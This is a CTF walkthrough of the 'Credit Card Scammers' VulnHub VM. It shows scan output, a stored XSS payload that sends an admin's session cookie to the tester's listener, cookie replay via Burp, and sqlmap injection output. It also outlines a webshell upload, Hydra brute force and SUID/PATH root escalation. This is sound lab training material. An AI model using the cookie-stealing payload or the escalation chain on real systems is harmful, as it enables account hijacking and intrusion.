

Boot to root CTF(Capture the flag)

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Walkthrough of the "Credit Card Scammers" VulnHub VM CTF

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Description of the CTF:

The back story: Scammers are taking advantage of people and various fake shopping websites have been setup, but people are finding their orders never arrive.

We have identified one scam website which we believe is harvesting credit card details from victims.

Your objective is to take down the scam website by gaining root access, and identify the 3 flags on their server.

Our intelligence suggests the scammers are actively reviewing all orders to quickly make use of the credit card information.

Step 1. Scanning & Enumeration (Nmap + Nikto + Dirb)

> Find the admin portal login page (/_admin/dist/login.html)

Step 2. Gaining Access

1. Find and exploit an unauthenticated stored XSS flaw in the web page "buynow.php" that allows to steal the session cookie of an admin
 2. Log into the admin portal using the stolen cookie
 3. Exploit the presence of a "Database admin" page that allows to execute SQL queries to the MySQL backend db
 4. Upload a PHP webshell using the "Database admin" page (SELECT <webshell> INTO DUMPFILE /path/webshell.php)
- > OS command execution with the service account "apache"

Step 3. Post-exploitation - Linux enumeration (Manual search + scripts: "LinEnum.sh" & "Linux-exploit-suggester.sh")

1. LinEnum script's results show that there is a SUID binary "/usr/bin/backup" which runs the script "/home/moneygrabber/backup.sh"
2. Perform a brute-force attack with Hydra and rockyou.txt to guess the weak password protecting the Linux account "moneygrabber"
3. Log into the Linux host as "moneygrabber" and identify that there is a PATH ENV privesc with the binary TAR in the script "/home/moneygrabber/backup.sh" which can be executed with root privileges thanks to SUID binary "/usr/bin/backup"

Step 4. Privilege escalation to root

=> SUID binary + PATH env manipulation = root access

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Step 1. Scanning & Enumeration
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```
jeff@kali:~$ sudo nmap -P0 -sS -sV -sC 192.168.1.28
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-15 01:09 CEST
Stats: 0:01:26 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 95.83% done; ETC: 01:11 (0:00:02 remaining)
Nmap scan report for 192.168.1.28
Host is up (0.00061s latency).
Not shown: 996 filtered ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 8d:0a:3a:42:5f:92:47:69:33:59:b3:77:53:3c:be:73 (RSA)
| 256 ab:3d:26:3b:d9:02:50:a4:49:c0:bf:13:75:dc:a5:73 (ECDSA)
|_ 256 fb:6a:7e:1b:05:f9:d1:ef:be:dd:ff:39:ed:f5:f5:63 (ED25519)
80/tcp    open  http      Apache httpd 2.4.37 ((centos))
| http-methods:
|_ Potentially risky methods: TRACE
|_ http-server-header: Apache/2.4.37 (centos)
|_ http-title: Your PPE Supplier
443/tcp   open  http      Mongoose httpd
|_ http-title: Site doesn't have a title (text/plain).
9090/tcp  closed zeus-admin
MAC Address: 08:00:27:C8:0C:11 (Oracle VirtualBox virtual NIC)
```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 109.37 seconds

```
=====
jeff@kali:~$ nikto -h http://192.168.1.28
- Nikto v2.1.6
```

```
-----
+ Target IP:      192.168.1.28
+ Target Hostname: 192.168.1.28
+ Target Port:    80
+ Start Time:     2020-07-15 01:14:34 (GMT2)
-----
```

```
+ Server: Apache/2.4.37 (centos)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to
protect against some forms of XSS
```

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/7.2.11
+ Allowed HTTP Methods: HEAD, GET, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /package.json: Node.js package file found. It may contain sensitive information.
+ 8724 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time: 2020-07-15 01:15:04 (GMT2) (30 seconds)

+ 1 host(s) tested

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jeff@kali:~\$ dirb http://192.168.1.28

DIRB v2.22
By The Dark Raver

START_TIME: Wed Jul 15 01:19:08 2020
URL_BASE: http://192.168.1.28/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.1.28/ ----
==> DIRECTORY: http://192.168.1.28/_admin/
+ http://192.168.1.28/cgi-bin/ (CODE:403|SIZE:217)
==> DIRECTORY: http://192.168.1.28/class/
==> DIRECTORY: http://192.168.1.28/css/
==> DIRECTORY: http://192.168.1.28/img/
+ http://192.168.1.28/index.html (CODE:200|SIZE:5822)
+ http://192.168.1.28/LICENSE (CODE:200|SIZE:1093)
==> DIRECTORY: http://192.168.1.28/noindex/
==> DIRECTORY: http://192.168.1.28/settings/
==> DIRECTORY: http://192.168.1.28/vendor/

---- Entering directory: http://192.168.1.28/_admin/ ----

(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.1.28/class/ ----

(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.1.28/css/ ----

(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.1.28/img/ ----

(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.1.28/noindex/ ----

==> DIRECTORY: http://192.168.1.28/noindex/common/
+ http://192.168.1.28/noindex/index (CODE:200|SIZE:4006)
+ http://192.168.1.28/noindex/index.html (CODE:200|SIZE:4006)

---- Entering directory: http://192.168.1.28/settings/ ----

(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.1.28/vendor/ ----

(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.1.28/noindex/common/ ----

==> DIRECTORY: http://192.168.1.28/noindex/common/css/
==> DIRECTORY: http://192.168.1.28/noindex/common/fonts/
==> DIRECTORY: http://192.168.1.28/noindex/common/images/

---- Entering directory: http://192.168.1.28/noindex/common/css/ ----

+ http://192.168.1.28/noindex/common/css/styles (CODE:200|SIZE:71634)

---- Entering directory: http://192.168.1.28/noindex/common/fonts/ ----

---- Entering directory: http://192.168.1.28/noindex/common/images/ ----

END_TIME: Wed Jul 15 01:19:40 2020

DOWNLOADED: 27672 - FOUND: 6

jeff@kali:~\$

Notes:

=> http://192.168.1.28/_admin/dist/login.html

=> Admin portal login page "Money Maker Admin Panel"

=> http://192.168.1.28/settings/config.php

=> interesting !!

```
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Step 2. Gaining access
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The creator of the CTF is giving a hint on how to hack the website:

"Our intelligence suggests the scammers are actively reviewing all orders to quickly make use of the credit card information."

> So I filled the page to buy a "N95 Face Mask" and I put in all the character fields the following XSS payload to try to steal the cookie of an administrator/scammer:

```
"Test <script>document.write("<img
src=http://192.168.1.21/".concat(escape(document.cookie)))</script>"
```

> In parallel I started a netcat listener on my Kali to receive the cookie and it worked:

```
jeff@kali:~$ sudo nc -nlvp 80
listening on [any] 80 ...
```

```
connect to [192.168.1.21] from (UNKNOWN) [192.168.1.28] 57546
GET /PHPSESSID%3Dt9q0kkg91f0huk3j61hk53gpm2%3C/td HTTP/1.1
Referer: http://localhost/_admin/dist/index.php
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko)
PhantomJS/2.1.1 Safari/538.1
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,*
Host: 192.168.1.21
```

> Then I used Burp to access to the page "Money Maker Admin Panel" that was discovered thanks to DIRB

```
GET /_admin/dist/index.php HTTP/1.1
Host: 192.168.1.28
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Upgrade-Insecure-Requests: 1
Cookie: PHPSESSID=t9q0kkg91f0huk3j61hk53gpm2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15
Accept-Language: fr-fr
Accept-Encoding: gzip, deflate
Connection: close

HTTP/1.1 200 OK
Date: Tue, 14 Jul 2020 23:51:18 GMT
Server: Apache/2.4.37 (centos)
X-Powered-By: PHP/7.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 318470

```
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
    <meta name="description" content="" />
    <meta name="author" content="" />
    <title>Money Maker</title>
    <link href="css/styles.css" rel="stylesheet" />
    <link href="/_admin/dist/assets/dataTables.bootstrap4.min.css" rel="stylesheet" />
    <script src="/_admin/dist/assets/all.min.js" crossorigin="anonymous"></script>
  </head>
  <body class="sb-nav-fixed">
    <nav class="sb-topnav navbar navbar-expand navbar-dark bg-dark">
      <a class="navbar-brand" href="index.html">Admin</a><button class="btn btn-link btn-sm order-1 order-lg-0" id="sidebarToggle" href="#"><i class="fas fa-bars"></i></button>
      <ul class="navbar-nav ml-auto ml-md-0">
        <li class="nav-item dropdown">
          <a class="nav-link dropdown-toggle" id="userDropdown" href="#" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"><i class="fas fa-user fa-fw"></i></a>
          <div class="dropdown-menu dropdown-menu-right" aria-labelledby="userDropdown">
            <a class="dropdown-item" href="logout.php">Logout</a>
          </div>
        </li>
      </ul>
    </nav>
  </body>
</html>
```

```

        </li>
    </ul>
</nav>    <div id="layoutSidenav">
    <div id="layoutSidenav_nav">
        <nav class="sb-sidenav accordion sb-sidenav-dark" id="sidenavAccordion">
            <div class="sb-sidenav-menu">
                <div class="nav">
                    <div class="sb-sidenav-menu-heading">Core</div>
                    <a class="nav-link" href="index.php"
                        ><div class="sb-nav-link-icon"><i class="fas
fa-tachometer-alt"></i></div>
                        Dashboard</a>
                    >
                        <a class="nav-link" href="manage.php"
                        ><div class="sb-nav-link-icon"><i class="fas fa-viruses"></i></div>
                        Database Admin</a>
                    >
                </div>
                <div class="sb-sidenav-footer">
                    <div class="small">Scamming People Since 2000</div>
                </div>
            </nav>
        </div>
        <div id="layoutSidenav_content">
            <main>
                <div class="container-fluid">
                    <h1 class="mt-4">Money Maker</h1>
                    <ol class="breadcrumb mb-4">
                        <li class="breadcrumb-item active">Orders</li>
                    </ol>
                    <table class="table table-striped dt-responsive nowrap" id="orderTable"
width="100%" cellspacing="0">
                        <thead><tr>
                            <th>Order ID</th>
                            <th>Item ID</th>
                            <th>Quantity</th>
                            <th>First Name</th>
                            <th> Last Name</th>
                            <th> E-Mail</th>
                            <th> Address</th>
                            <th> Address 2</th>
                            <th> Country</th>
                            <th> County</th>
                            <th> Postcode</th>
                            <th> Payment</th>
                            <th> Name On Card</th>
                            <th>Number</th>
                            <th>Expiration</th>
                            <th>CVV</th>

```

```
</tr></thead>
<tbody>
<tr>
<td>1008</td>
<td>1</td>
<td>1000</td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/.concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/.concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/.concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/.concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/.concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/.concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/.concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/.concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/.concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/.concat(escape(document.cookie)))</script></td>
<td>0987654321</td>
<td>12/12/2022</td>
<td>456</td>
</tr>
<tr>
<td>1007</td>
<td>1</td>
<td>1000</td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/.concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/.concat(escape(document.cookie)))</script></td>
<td>test@test.com</td>
<td>Test <script>document.write("<img
src=http://192.168.1.29/.concat(escape(document.cookie)))</script></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/.concat(escape(document.cookie)))</script></td>
<td>USA</td>
<td>Boston</td>
<td>76789</td>
<td></td>
<td>Test <script>document.write("<img
src=http://192.168.1.21/.concat(escape(document.cookie)))</script></td>
```



```
<td>1234567890</td>
<td>02/2022</td>
<td>543</td>
</table>
```

<SNIP>

> There is a "Database admin" page that allow us to execute SQL queries

```
GET /_admin/dist/manage.php HTTP/1.1
Host: 192.168.1.28
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Cookie: PHPSESSID=t9q0kkg91f0huk3j61hk53gpm2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15
(KHTML, like Gecko) Version/13.1.1 Safari/605.1.15
Accept-Language: fr-fr
Accept-Encoding: gzip, deflate
Connection: close
```

```
HTTP/1.1 200 OK
Date: Tue, 14 Jul 2020 23:57:56 GMT
Server: Apache/2.4.37 (centos)
X-Powered-By: PHP/7.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 4636
```

```
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"
  />
```

<SNIP>

```
      <a class="nav-link" href="index.php"
        ><div class="sb-nav-link-icon"><i class="fas
fa-tachometer-alt"></i></div>
        Dashboard</a>
```

```
>
    <a class="nav-link" href="manage.php"
    ><div class="sb-nav-link-icon"><i class="fas fa-viruses"></i></div>
    Database Admin</a>
>
</div>
<div class="sb-sidenav-footer">
    <div class="small">Scamming People Since 2000</div>
</div>
</nav>
</div>
    <div id="layoutSidenav_content">
<main>
    <div class="container-fluid">
        <h1 class="mt-4">Money Maker</h1>
        <ol class="breadcrumb mb-4">
            <li class="breadcrumb-item active">Database SQL Execution</li>
        </ol>
    </div>

```

...

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ sqlmap --dbms=MySQL --level=5
--risk=3 --users --passwords -r burp.txt
```

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

```
[02:17:15] [INFO] parsing HTTP request from 'burp.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
```

[02:17:18] [INFO] testing connection to the target URL
[02:17:18] [INFO] testing if the target URL content is stable
[02:17:19] [INFO] target URL content is stable
[02:17:19] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[02:17:19] [WARNING] (custom) POST parameter '#1*' does not appear to be dynamic
[02:17:19] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#1*' might not be injectable
[02:17:20] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[02:17:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:17:35] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[02:17:57] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[02:18:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[02:18:22] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[02:18:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'
[02:18:43] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (comment)'
[02:18:54] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - comment)'
[02:19:00] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[02:19:01] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
[02:19:01] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL - original value)'
[02:19:02] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'
[02:19:02] [INFO] testing 'Boolean-based blind - Parameter replace (CASE - original value)'
[02:19:02] [INFO] testing 'HAVING boolean-based blind - WHERE, GROUP BY clause'
[02:19:13] [INFO] testing 'Generic inline queries'
[02:19:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[02:19:19] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[02:19:30] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[02:19:37] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[02:19:47] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[02:19:59] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[02:20:17] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
[02:20:29] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
[02:20:49] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)'
[02:21:00] [INFO] testing 'MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)'
[02:21:20] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET)'

[02:21:20] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)'

[02:21:20] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT)'

[02:21:21] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT - original value)'

[02:21:21] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int)'

[02:21:21] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int - original value)'

[02:21:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause'

[02:21:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'

[02:21:23] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause'

[02:21:23] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'

[02:21:23] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Stacked queries'

[02:21:31] [INFO] testing 'MySQL < 5.0 boolean-based blind - Stacked queries'

[02:21:31] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'

[02:21:46] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'

[02:22:02] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'

[02:22:17] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'

[02:22:33] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'

[02:22:49] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'

[02:23:05] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'

[02:23:21] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'

[02:23:37] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'

[02:23:54] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'

[02:24:10] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'

[02:24:26] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'

[02:24:43] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'

[02:24:58] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'

[02:25:14] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'

[02:25:30] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'

[02:25:46] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'

[02:25:54] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'

[02:26:05] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'

[02:26:06] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'

[02:26:06] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'

[02:26:06] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'

[02:26:07] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'

[02:26:07] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'

[02:26:07] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'

[02:26:08] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)'

[02:26:08] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)'

[02:26:09] [INFO] testing 'MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)'

[02:26:09] [INFO] testing 'MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)'

[02:26:10] [INFO] testing 'MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)'

[02:26:11] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)'

[02:26:11] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML)'

[02:26:12] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)'

[02:26:12] [INFO] testing 'MySQL inline queries'

[02:26:13] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'

[02:26:20] [INFO] testing 'MySQL >= 5.0.12 stacked queries'

[02:26:44] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'

[02:26:52] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'

[02:27:03] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'

[02:27:11] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'

[02:27:23] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'

[02:27:50] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP)'

[02:28:06] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP)'

[02:28:22] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP)'

[02:28:36] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SLEEP - comment)'

[02:28:46] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SLEEP - comment)'

[02:28:56] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment)'

[02:29:06] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment)'

[02:29:16] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query)'

[02:29:32] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query)'

[02:29:47] [INFO] testing 'MySQL < 5.0.12 AND time-based blind (heavy query - comment)'
[02:29:57] [INFO] testing 'MySQL < 5.0.12 OR time-based blind (heavy query - comment)'
[02:30:08] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
[02:30:23] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (comment)'
[02:30:33] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP)'
[02:30:48] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment)'
[02:30:58] [INFO] testing 'MySQL AND time-based blind (ELT)'
[02:31:15] [INFO] testing 'MySQL OR time-based blind (ELT)'
[02:31:31] [INFO] testing 'MySQL AND time-based blind (ELT - comment)'
[02:31:41] [INFO] testing 'MySQL OR time-based blind (ELT - comment)'
[02:31:52] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[02:32:03] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[02:32:10] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace'
[02:32:10] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace (subtraction)'
[02:32:21] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 time-based blind - Parameter replace (subtraction)' injectable
[02:32:21] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[02:32:21] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[02:32:28] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[02:32:35] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[02:32:41] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[02:32:47] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[02:32:53] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[02:32:59] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[02:33:05] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[02:33:12] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[02:33:18] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[02:33:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[02:33:31] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[02:33:37] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[02:33:43] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[02:33:49] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[02:33:55] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[02:34:02] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[02:34:08] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[02:34:14] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[02:34:20] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[02:34:26] [INFO] checking if the injection point on (custom) POST parameter '#1*' is a false positive
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 3369 HTTP(s) requests:

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 02:40:27 /2020-07-15/

[02:40:27] [INFO] parsing HTTP request from 'burp.txt'
custom injection marker (*) found in POST body. Do you want to process it? [Y/n/q] Y

[02:40:31] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: #1* ((custom) POST)

Type: time-based blind

Title: MySQL >= 5.0.12 time-based blind - Parameter replace (subtraction)

Payload: command=(SELECT 5855 FROM (SELECT(SLEEP(5)))kMNx)&submit=Execute

[02:40:31] [INFO] testing MySQL

do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y

[02:40:50] [INFO] confirming MySQL

[02:40:50] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions

[02:41:01] [INFO] adjusting time delay to 2 seconds due to good response times

[02:41:01] [INFO] the back-end DBMS is MySQL

web server operating system: Linux CentOS

web application technology: Apache 2.4.37, PHP 7.2.11

back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)

[02:41:01] [INFO] going to use a web backdoor for command prompt

[02:41:01] [INFO] fingerprinting the back-end DBMS operating system

[02:41:01] [INFO] the back-end DBMS operating system is Linux

which web application language does the web server support?

[1] ASP

[2] ASPX

[3] JSP

[4] PHP (default)

> 4

do you want sqlmap to further try to provoke the full path disclosure? [Y/n] Y

got a 302 redirect to 'http://192.168.1.28:80/_admin/dist/login.html'. Do you want to follow? [Y/n] n

[02:41:20] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?

